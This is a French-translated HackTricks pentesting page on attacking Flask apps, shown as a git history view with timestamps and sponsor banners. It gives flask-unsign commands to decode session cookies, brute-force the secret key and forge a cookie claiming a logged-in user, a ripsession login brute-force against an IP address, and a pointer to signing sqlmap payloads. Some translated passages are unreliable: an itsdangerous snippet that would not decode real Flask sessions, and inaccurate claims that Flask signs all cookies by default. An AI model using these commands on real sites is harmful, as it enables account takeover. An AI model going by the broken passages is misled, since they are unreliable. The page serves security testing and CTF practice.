hacktricks/network-services-pentesting/pentesting-web/flask.md

119 lines
7.6 KiB
Markdown
Raw Normal View History

2022-05-11 15:39:42 +00:00
# Flask
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
Utilisez [**Trickest**](https://trickest.io/) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
**Probablement, si vous jouez à un CTF, une application Flask sera liée à** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
2022-05-11 15:39:42 +00:00
## Cookies
2023-06-03 13:10:46 +00:00
Le nom de session de cookie par défaut est **`session`**.
2020-11-22 23:24:53 +00:00
2023-06-03 13:10:46 +00:00
### Décodeur
2023-06-03 13:10:46 +00:00
Décodeur de cookies Flask en ligne : [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
2023-06-03 13:10:46 +00:00
#### Manuel
2023-06-03 13:10:46 +00:00
Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64>
2020-11-22 21:41:06 +00:00
```bash
echo "ImhlbGxvIg" | base64 -d
```
2023-06-03 13:10:46 +00:00
Le cookie est également signé à l'aide d'un mot de passe.
2022-05-11 15:39:42 +00:00
### **Flask-Unsign**
2023-06-03 13:10:46 +00:00
Outil en ligne de commande pour récupérer, décoder, forcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.
{% embed url="https://pypi.org/project/flask-unsign/" %}
2020-11-22 21:41:06 +00:00
```bash
pip3 install flask-unsign
```
2023-06-03 13:10:46 +00:00
#### **Décoder un Cookie**
---
Il est possible de décoder un cookie Flask en utilisant la bibliothèque `itsdangerous`. Cette bibliothèque est utilisée par Flask pour signer les cookies et les tokens.
Voici un exemple de code pour décoder un cookie Flask :
```python
from itsdangerous import URLSafeTimedSerializer
s = URLSafeTimedSerializer(app.secret_key)
decoded_data = s.loads(cookie_value)
```
2023-06-03 13:10:46 +00:00
Dans cet exemple, `app.secret_key` est la clé secrète de l'application Flask et `cookie_value` est la valeur du cookie à décoder.
2023-06-03 13:10:46 +00:00
Le résultat de la fonction `s.loads()` est un objet Python contenant les données du cookie.
2020-11-22 21:41:06 +00:00
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
2022-05-11 15:39:42 +00:00
#### **Brute Force**
2023-06-03 13:10:46 +00:00
Le Brute Force
2020-11-22 21:41:06 +00:00
```bash
2022-05-11 15:39:42 +00:00
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
2023-06-03 13:10:46 +00:00
#### **Signature**
2023-06-03 13:10:46 +00:00
Une signature est un moyen de garantir l'intégrité et l'authenticité des données. Elle est généralement utilisée pour vérifier que les données n'ont pas été altérées et qu'elles ont été créées par une source de confiance. Flask prend en charge la signature des cookies et des sessions pour garantir que les données ne sont pas altérées.
2023-06-03 13:10:46 +00:00
La signature des cookies est activée par défaut dans Flask. Cela signifie que toutes les données stockées dans les cookies sont signées et que Flask vérifie automatiquement la signature lorsqu'un cookie est reçu. Si la signature ne correspond pas, Flask considère le cookie comme invalide et le supprime.
La signature des sessions est également activée par défaut dans Flask. Cela signifie que toutes les données stockées dans la session sont signées et que Flask vérifie automatiquement la signature lorsqu'une session est reçue. Si la signature ne correspond pas, Flask considère la session comme invalide et la supprime.
2020-11-22 21:41:06 +00:00
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
2023-06-03 13:10:46 +00:00
#### Signature avec des versions anciennes (legacy)
2020-11-22 21:41:06 +00:00
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
2022-09-30 10:27:15 +00:00
2023-06-03 13:10:46 +00:00
Outil en ligne de commande pour effectuer une attaque de force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
2022-09-30 10:27:15 +00:00
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
2023-06-03 13:10:46 +00:00
### SQLi dans le cookie de session Flask avec SQLmap
2023-06-03 13:10:46 +00:00
[**Cet exemple**](../../pentesting-web/sql-injection/sqlmap/#eval) utilise l'option `eval` de sqlmap pour **signer automatiquement les charges utiles de sqlmap** pour Flask en utilisant un secret connu.
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
Utilisez [**Trickest**](https://trickest.io/) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>